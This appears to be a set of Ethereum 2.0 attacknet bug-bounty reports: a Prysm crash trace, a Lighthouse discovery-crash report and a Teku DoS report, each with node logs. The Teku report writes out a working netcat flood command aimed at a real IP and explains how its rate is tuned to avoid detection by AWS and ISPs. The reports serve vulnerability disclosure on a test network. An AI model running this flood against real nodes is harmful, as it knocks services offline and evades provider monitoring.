	/home/user/go/src/github.com/prysmaticlabs/prysm/beacon-chain/p2p/encoder/ssz.go:93 +0x19c
github.com/prysmaticlabs/prysm/beacon-chain/p2p/encoder.SszNetworkEncoder.DecodeWithMaxLength(0x735afc201458, 0xc00f47e3e0, 0x159b720, 0xc00f47e460, 0x0, 0x0)
	/home/user/go/src/github.com/prysmaticlabs/prysm/beacon-chain/p2p/encoder/ssz.go:134 +0x1c6
github.com/prysmaticlabs/prysm/beacon-chain/sync.(*Service).registerRPC.func1(0x1cf1c20, 0xc00f47e3e0)
	/home/user/go/src/github.com/prysmaticlabs/prysm/beacon-chain/sync/rpc.go:133 +0x12a8
github.com/libp2p/go-libp2p/p2p/host/basic.(*BasicHost).SetStreamHandler.func1(0xc00d24ec40, 0x39, 0x735aee2f2588, 0xc00f47e3e0, 0x1, 0x0)
	/home/user/go/pkg/mod/github.com/libp2p/[email protected]/p2p/host/basic/basic_host.go:486 +0x9d
created by github.com/libp2p/go-libp2p/p2p/host/basic.(*BasicHost).newStreamHandler
	/home/user/go/pkg/mod/github.com/libp2p/[email protected]/p2p/host/basic/basic_host.go:337 +0x63c

This is the output for the attacker:

[2020-07-29 22:34:25]  INFO p2p: Node started p2p server multiAddr=/ip4/10.137.0.15/tcp/12002/p2p/16Uiu2HAmMUrPwkC1RgFKyuQD2y3SNLEnffsUeUPZ2TCCVazbzBRG
oh cool, we're sending blockbyroot topic to 16Uiu2HAmA7m8JWJR1zgMLwjUv9WaEFsRnrVgnwf22t72FEhgGtws
[2020-07-29 22:34:25]  INFO p2p: Peer connected activePeers=1 direction=Outbound multiAddr=/ip4/10.137.0.15/tcp/13000/p2p/16Uiu2HAmA7m8JWJR1zgMLwjUv9WaEFsRnrVgnwf22t72FEhgGtws
[2020-07-29 22:34:25]  INFO p2p: Peer disconnected activePeers=0 multiAddr=/ip4/10.137.0.15/tcp/13000/p2p/16Uiu2HAmA7m8JWJR1zgMLwjUv9WaEFsRnrVgnwf22t72FEhgGtws
[2020-07-29 22:34:26]  INFO powchain: Connected to eth1 proof-of-work chain endpoint=https://goerli.prylabs.net
[2020-07-29 22:34:30]  INFO initial-sync: Waiting for enough suitable peers before syncing required=3 suitable=0

It connected, and immediately put the victim to sleep.

[Request] Attacknet Validators

[Request] Attacknet Validators

  • Project name: BordelHackerspace
  • Attack name: mc_attack_0
  • Number of validators: 7
  • Purpose: ETH2.0 hacking session in Bordel Hackerspace
  • Address: 0xD0Ed0acb335E4fb02dF3bE93396d162E0F1eC5a3

[lighthouse-attack-0 Issue] Network agent crashes lighthouse discovery

Description

A network agent, capable of creating a large number of discv5 sessions, crashed the discovery service on several lighthouse nodes.

Attack scenario

A large number of simultaneous discv5 sessions established with a lighthouse node will fill up the session cache causing sessions to expire quickly. This can lead to a scenario where sessions and requests are no longer in sync and the handling of a delayed response can trigger an exception.

Impact

The attack left 3 of 4 nodes without the ability to discover or be discovered by new peers.

Details:

The following log is from the code that triggered the fault. You can see that at Jul 20 11:36:50.903 CDT it is connected to one of the nodes, then it loses the connection a few seconds later. This corresponds to the outage on the attacknet node.

imp: 
 Jul 20 11:36:26.684 INFO Starting imp
 imp: NetworkService
  Network Service: Crawler
   Jul 20 11:36:26.685 INFO Found 1 bootstrap enrs
   Jul 20 11:36:26.690 INFO Local Node Id: 0xad05..51af
   Jul 20 11:36:26.746 INFO calling find_node()
   Jul 20 11:36:34.907 INFO Connected Peers: 0
   Jul 20 11:36:34.907 INFO Enr Entries: 1
   Jul 20 11:36:34.907 INFO Output is enabled.  Saving data to file
   Jul 20 11:36:36.747 INFO calling find_node()
   Jul 20 11:36:44.897 INFO Connected Peers: 0
   Jul 20 11:36:44.898 INFO Enr Entries: 1
   Jul 20 11:36:46.750 INFO calling find_node()
   Jul 20 11:36:50.903 INFO Connected Peers: 1
   Jul 20 11:36:50.903 INFO Enr Entries: 1
   Jul 20 11:36:56.750 INFO Output is enabled.  Saving data to file
   Jul 20 11:36:56.750 INFO calling find_node()
   Jul 20 11:37:04.898 INFO Connected Peers: 0
   Jul 20 11:37:04.898 INFO Enr Entries: 1
   Jul 20 11:37:06.751 INFO calling find_node()
   Jul 20 11:37:14.904 INFO Connected Peers: 0
   Jul 20 11:37:14.904 INFO Enr Entries: 1
   Jul 20 11:37:16.749 INFO calling find_node()
   Jul 20 11:37:24.895 INFO Connected Peers: 0
   Jul 20 11:37:24.895 INFO Enr Entries: 1
   Jul 20 11:37:26.749 INFO calling find_node()
   Jul 20 11:37:34.898 INFO Connected Peers: 0
   Jul 20 11:37:34.898 INFO Enr Entries: 1
   Jul 20 11:37:34.898 INFO Output is enabled.  Saving data to file
   Jul 20 11:37:36.751 INFO calling find_node()
   Jul 20 11:37:44.899 INFO Connected Peers: 0
   Jul 20 11:37:44.899 INFO Enr Entries: 1
   Jul 20 11:37:46.752 INFO calling find_node()
   Jul 20 11:37:54.902 INFO Connected Peers: 0
   Jul 20 11:37:54.902 INFO Enr Entries: 1
   Jul 20 11:37:56.748 INFO Output is enabled.  Saving data to file
   Jul 20 11:37:56.749 INFO calling find_node()
   Jul 20 11:38:04.903 INFO Connected Peers: 0
   Jul 20 11:38:04.903 INFO Enr Entries: 1
   Jul 20 11:38:06.752 INFO calling find_node()
   Jul 20 11:38:14.904 INFO Connected Peers: 0
   Jul 20 11:38:14.904 INFO Enr Entries: 1
   Jul 20 11:38:16.752 INFO calling find_node()
   Jul 20 11:38:24.755 INFO Connected Peers: 0
   Jul 20 11:38:24.755 INFO Enr Entries: 1
   Jul 20 11:38:26.735 INFO calling find_node()
   Jul 20 11:38:34.740 INFO Connected Peers: 0
   Jul 20 11:38:34.740 INFO Enr Entries: 1
   Jul 20 11:38:34.740 INFO Output is enabled.  Saving data to file
   Jul 20 11:38:36.724 INFO calling find_node()
   Jul 20 11:38:44.738 INFO Connected Peers: 0
   Jul 20 11:38:44.739 INFO Enr Entries: 1
   Jul 20 11:38:46.718 INFO calling find_node()
   Jul 20 11:38:54.730 INFO Connected Peers: 0
   Jul 20 11:38:54.730 INFO Enr Entries: 1
   Jul 20 11:38:56.720 INFO calling find_node()
   Jul 20 11:39:04.737 INFO Connected Peers: 0
   Jul 20 11:39:04.737 INFO Enr Entries: 1
   Jul 20 11:39:04.737 INFO Output is enabled.  Saving data to file
   Jul 20 11:39:06.718 INFO calling find_node()
   Jul 20 11:39:14.732 INFO Connected Peers: 0
   Jul 20 11:39:14.732 INFO Enr Entries: 1
   Jul 20 11:39:16.715 INFO calling find_node()
   Jul 20 11:39:20.778 WARN Sending shutdown signal.
 imp: Agent
  Jul 20 11:39:20.778 WARN "imp_agent::agent::Agent": shutdown message received.
 imp: NetworkService
  Jul 20 11:39:20.778 WARN "imp_network::service::Service": shutdown message received.
 Jul 20 11:39:22.087 WARN Exiting imp.
Post processing starting...
Post processing complete
exit

[teku-attack-0 Reward] DoS Attack on Teku Stops Finality

Description

Teku nodes are vulnerable to a simple DoS attack that prevents them from participating in consensus.

Attack scenario

Two of four Teku nodes were targeted by five ordinary machines with a sustained DoS attack. Initial loss of finality was achieved with two or three machines, but the others joined within a few epochs to ensure that the network could not recover.

Impact

The effect that the DoS attack had on the attacknet was a prolonged loss finality and required manual intervention to restore the network to a healthy state once the attack stopped. The nodes under attack used large amounts of memory, were subject to multiple container restarts, had trouble staying connected to peers and one node's local clock was 20 mins slow.

Details

How the attack was implemented

This is the command that the five machines ran to prevent finality on the attacknet:

> while true; do cat /dev/zero | pv -L 1M |nc  XXX.XXX.XXX.XXX 9000 >/dev/null; done

What the command does is pipe 0x00 from /dev/zero in the pv command which rate limits to a (somewhat aribrary) value high enough to prevent finality, but stay off AWS/ISP radars to ensure the attack continues. The data is then piped into the netcat command which sends it to the nodes under attack. The while loop is there for when it loses connectivity and the command completes due to container restarts.

Here is a snippet of the output from one of the machines attacking the network:

$ while true; do cat /dev/zero | pv -L 1M |nc  13.114.37.176 9000 >/dev/null; done
Ncat: Broken pipe.110kiB/s] [                                                                                                                                                                            <=>                                                             ]
21.2MiB 0:01:35 [ 226kiB/s] [                                                                                                                                                                   <=>                                                                      ]
Ncat: Connection reset by peer.                                                 <=>                                                                                                                                                                                      ]
2.04MiB 0:01:40 [20.8kiB/s] [                                                            <=>                                                                                                                                                                             ]

...

19.4MiB 0:09:15 [35.8kiB/s] [                                                       <=>                                                                                                                                                                                  ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 378kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 380kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.
  64kiB 0:00:00 [ 391kiB/s] [    <=>                                                                                                                                                                                                                                     ]
Ncat: Connection refused.

...


You can see the attacking machine lose connection to the node as it restarts - this is when the while loop kicks in and keeps trying to reconnect.

Attack log

Epoch 407, Slot 13038

Is the first time the network missed block. At this point, I was still tweaking the command parameters and working out how to keep the attack going in the event that the TCP connection fails. Here is the output from a node I had monitoring the network:

14:49:44.309 INFO  - Epoch Event *** Epoch: 407, Justified checkpoint: 405, Finalized checkpoint: 404, Finalized root: 062423..e652
14:49:48.308 INFO  - Slot Event  *** Slot: 13024, Block: 615a62..0c80, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:00.308 INFO  - Slot Event  *** Slot: 13025, Block: 8a66bc..feaa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:12.313 INFO  - Slot Event  *** Slot: 13026, Block: 6e35b1..ab31, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:24.312 INFO  - Slot Event  *** Slot: 13027, Block: bd188c..2c39, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:36.308 INFO  - Slot Event  *** Slot: 13028, Block: 1b0189..b486, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:48.308 INFO  - Slot Event  *** Slot: 13029, Block: 434b19..dc64, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:00.311 INFO  - Slot Event  *** Slot: 13030, Block: d092fa..b2d7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:12.308 INFO  - Slot Event  *** Slot: 13031, Block: 9e7060..95b2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:24.307 INFO  - Slot Event  *** Slot: 13032, Block: e57155..e417, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:36.312 INFO  - Slot Event  *** Slot: 13033, Block: 0ffe8c..e62f, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:48.386 INFO  - Slot Event  *** Slot: 13034, Block: 8c383d..7c25, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:00.439 INFO  - Slot Event  *** Slot: 13035, Block: fea7e4..b7fa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:12.321 INFO  - Slot Event  *** Slot: 13036, Block: 4ccd48..179b, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:24.309 INFO  - Slot Event  *** Slot: 13037, Block: 7cc87d..6fbc, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:36.664 INFO  - Slot Event  *** Slot: 13037, Block: 7cc87d..6fbc, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:36.679 INFO  - Slot Event  *** Slot: 13038, Block:    ... empty, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:48.314 INFO  - Slot Event  *** Slot: 13039, Block: f715fa..e290, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:04.832 INFO  - Slot Event  *** Slot: 13040, Block: 42490f..62e6, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:12.330 INFO  - Slot Event  *** Slot: 13041, Block: 600f4c..b61e, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:24.311 INFO  - Slot Event  *** Slot: 13042, Block: 21e864..8c00, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:36.066 INFO  - Slot Event  *** Slot: 13043, Block: b7b47d..a011, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:53:48.309 INFO  - Slot Event  *** Slot: 13044, Block: e81b23..de2a, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:00.310 INFO  - Slot Event  *** Slot: 13045, Block: 751785..2159, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:12.314 INFO  - Slot Event  *** Slot: 13046, Block: 790c4d..8969, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:24.308 INFO  - Slot Event  *** Slot: 13047, Block: 4b0ddf..d0a3, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:36.308 INFO  - Slot Event  *** Slot: 13048, Block: def5c5..b03c, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:54:48.315 INFO  - Slot Event  *** Slot: 13049, Block: 526686..6923, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:00.308 INFO  - Slot Event  *** Slot: 13050, Block: 742dd8..e0c7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:12.308 INFO  - Slot Event  *** Slot: 13051, Block: 3998fb..e6af, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:24.310 INFO  - Slot Event  *** Slot: 13052, Block: 80f285..f2cb, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:36.321 INFO  - Slot Event  *** Slot: 13053, Block: 3533b1..b9f2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:55:48.309 INFO  - Slot Event  *** Slot: 13054, Block: 941bba..b7f5, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:56:00.308 INFO  - Slot Event  *** Slot: 13055, Block: 2a9ec8..5ecf, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4

Epoch 413

Two AWS t2.small machines begin the DoS attack on 13.114.37.176 and 35.175.180.94. You can see the peer count begin to drop and several skipped slots.

15:28:08.307 INFO  - Epoch Event *** Epoch: 413, Justified checkpoint: 411, Finalized checkpoint: 410, Finalized root: 416c3e..b60f
15:28:12.311 INFO  - Slot Event  *** Slot: 13216, Block: 7dbf5d..d3b4, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:24.312 INFO  - Slot Event  *** Slot: 13217, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:36.313 INFO  - Slot Event  *** Slot: 13218, Block: da4820..6513, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:28:48.308 INFO  - Slot Event  *** Slot: 13219, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:00.313 INFO  - Slot Event  *** Slot: 13220, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:12.310 INFO  - Slot Event  *** Slot: 13221, Block: d83ee6..48ac, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:29:24.315 INFO  - Slot Event  *** Slot: 13222, Block: a4a16d..b36c, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:29:36.315 INFO  - Slot Event  *** Slot: 13223, Block: 289d84..d5d3, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:29:48.310 INFO  - Slot Event  *** Slot: 13224, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:30:00.314 INFO  - Slot Event  *** Slot: 13225, Block: f4a443..b60a, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:12.312 INFO  - Slot Event  *** Slot: 13226, Block: bfeb6e..775c, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:24.309 INFO  - Slot Event  *** Slot: 13227, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:36.313 INFO  - Slot Event  *** Slot: 13228, Block: 97b3b5..f158, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:30:48.314 INFO  - Slot Event  *** Slot: 13229, Block: b7753d..f479, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:00.314 INFO  - Slot Event  *** Slot: 13230, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:12.310 INFO  - Slot Event  *** Slot: 13231, Block: a8b392..d105, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:24.309 INFO  - Slot Event  *** Slot: 13232, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:36.309 INFO  - Slot Event  *** Slot: 13233, Block: 358b2b..7cc1, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:31:48.313 INFO  - Slot Event  *** Slot: 13234, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:00.310 INFO  - Slot Event  *** Slot: 13235, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:12.311 INFO  - Slot Event  *** Slot: 13236, Block: d03f7d..39c6, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:24.314 INFO  - Slot Event  *** Slot: 13237, Block: 130f18..7f02, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
15:32:36.313 INFO  - Slot Event  *** Slot: 13238, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:32:48.308 INFO  - Slot Event  *** Slot: 13239, Block: 650904..57e4, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:00.314 INFO  - Slot Event  *** Slot: 13240, Block: dbe53b..9fc5, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:12.311 INFO  - Slot Event  *** Slot: 13241, Block: dbf67f..91b9, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:24.310 INFO  - Slot Event  *** Slot: 13242, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:36.314 INFO  - Slot Event  *** Slot: 13243, Block: f434a0..2b47, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:33:48.309 INFO  - Slot Event  *** Slot: 13244, Block:    ... empty, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:00.310 INFO  - Slot Event  *** Slot: 13245, Block: 99611b..7279, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:12.309 INFO  - Slot Event  *** Slot: 13246, Block: dbeda2..8263, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:34:24.314 INFO  - Slot Event  *** Slot: 13247, Block: de10af..01ac, Epoch: 413, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 414

This is the first time the chain fails to finalize and there are three machines attacking the network - two t2 small's and one Macbook.

15:34:32.307 INFO  - Epoch Event *** Epoch: 414, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:34:36.308 INFO  - Slot Event  *** Slot: 13248, Block: 399ae2..ebd3, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:34:48.310 INFO  - Slot Event  *** Slot: 13249, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:00.308 INFO  - Slot Event  *** Slot: 13250, Block: 952fbc..719c, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:12.309 INFO  - Slot Event  *** Slot: 13251, Block: 167329..6edc, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:24.309 INFO  - Slot Event  *** Slot: 13252, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:36.309 INFO  - Slot Event  *** Slot: 13253, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:35:48.313 INFO  - Slot Event  *** Slot: 13254, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:00.315 INFO  - Slot Event  *** Slot: 13255, Block: ee5b8a..e61c, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:12.310 INFO  - Slot Event  *** Slot: 13256, Block: 9404e7..0ae0, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:24.309 INFO  - Slot Event  *** Slot: 13257, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:36.314 INFO  - Slot Event  *** Slot: 13258, Block: 8056b2..2d22, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:36:48.315 INFO  - Slot Event  *** Slot: 13259, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:00.315 INFO  - Slot Event  *** Slot: 13260, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:12.315 INFO  - Slot Event  *** Slot: 13261, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:24.315 INFO  - Slot Event  *** Slot: 13262, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:37:36.315 INFO  - Slot Event  *** Slot: 13263, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:37:48.310 INFO  - Slot Event  *** Slot: 13264, Block: 5c277f..8156, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:00.310 INFO  - Slot Event  *** Slot: 13265, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:12.308 INFO  - Slot Event  *** Slot: 13266, Block: 71174a..4556, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:24.310 INFO  - Slot Event  *** Slot: 13267, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:36.312 INFO  - Slot Event  *** Slot: 13268, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:38:48.311 INFO  - Slot Event  *** Slot: 13269, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:00.309 INFO  - Slot Event  *** Slot: 13270, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:12.310 INFO  - Slot Event  *** Slot: 13271, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:24.309 INFO  - Slot Event  *** Slot: 13272, Block: 652bc0..8b9e, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:36.312 INFO  - Slot Event  *** Slot: 13273, Block: c668c5..d3ae, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:39:48.310 INFO  - Slot Event  *** Slot: 13274, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:00.312 INFO  - Slot Event  *** Slot: 13275, Block: fd9786..00ce, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:12.310 INFO  - Slot Event  *** Slot: 13276, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:40:24.312 INFO  - Slot Event  *** Slot: 13277, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:40:36.310 INFO  - Slot Event  *** Slot: 13278, Block:    ... empty, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:40:48.309 INFO  - Slot Event  *** Slot: 13279, Block: dc4520..dfd4, Epoch: 414, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 416 - 417

I added a second Macbook Pro to the attack in epoch 416 and by the end of epoch 417 (15:59 specifically), there were a total of five machines participating - two t2 small's and three Macbooks.

15:47:20.312 INFO  - Epoch Event *** Epoch: 416, Justified checkpoint: 412, Finalized checkpoint: 411, Finalized root: 404586..3714
15:47:24.309 INFO  - Slot Event  *** Slot: 13312, Block: 2989dd..b9d0, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:47:36.311 INFO  - Slot Event  *** Slot: 13313, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:47:48.311 INFO  - Slot Event  *** Slot: 13314, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:48:00.310 INFO  - Slot Event  *** Slot: 13315, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:48:12.313 INFO  - Slot Event  *** Slot: 13316, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:24.315 INFO  - Slot Event  *** Slot: 13317, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:36.308 INFO  - Slot Event  *** Slot: 13318, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:48:48.313 INFO  - Slot Event  *** Slot: 13319, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:49:00.314 INFO  - Slot Event  *** Slot: 13320, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:49:12.309 INFO  - Slot Event  *** Slot: 13321, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:24.308 INFO  - Slot Event  *** Slot: 13322, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:36.314 INFO  - Slot Event  *** Slot: 13323, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:49:48.310 INFO  - Slot Event  *** Slot: 13324, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:00.313 INFO  - Slot Event  *** Slot: 13325, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:12.309 INFO  - Slot Event  *** Slot: 13326, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:24.310 INFO  - Slot Event  *** Slot: 13327, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
15:50:36.312 INFO  - Slot Event  *** Slot: 13328, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:50:48.309 INFO  - Slot Event  *** Slot: 13329, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:00.314 INFO  - Slot Event  *** Slot: 13330, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:12.309 INFO  - Slot Event  *** Slot: 13331, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:24.309 INFO  - Slot Event  *** Slot: 13332, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:36.311 INFO  - Slot Event  *** Slot: 13333, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:51:48.312 INFO  - Slot Event  *** Slot: 13334, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:00.312 INFO  - Slot Event  *** Slot: 13335, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
15:52:12.309 INFO  - Slot Event  *** Slot: 13336, Block:    ... empty, Epoch: 416, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
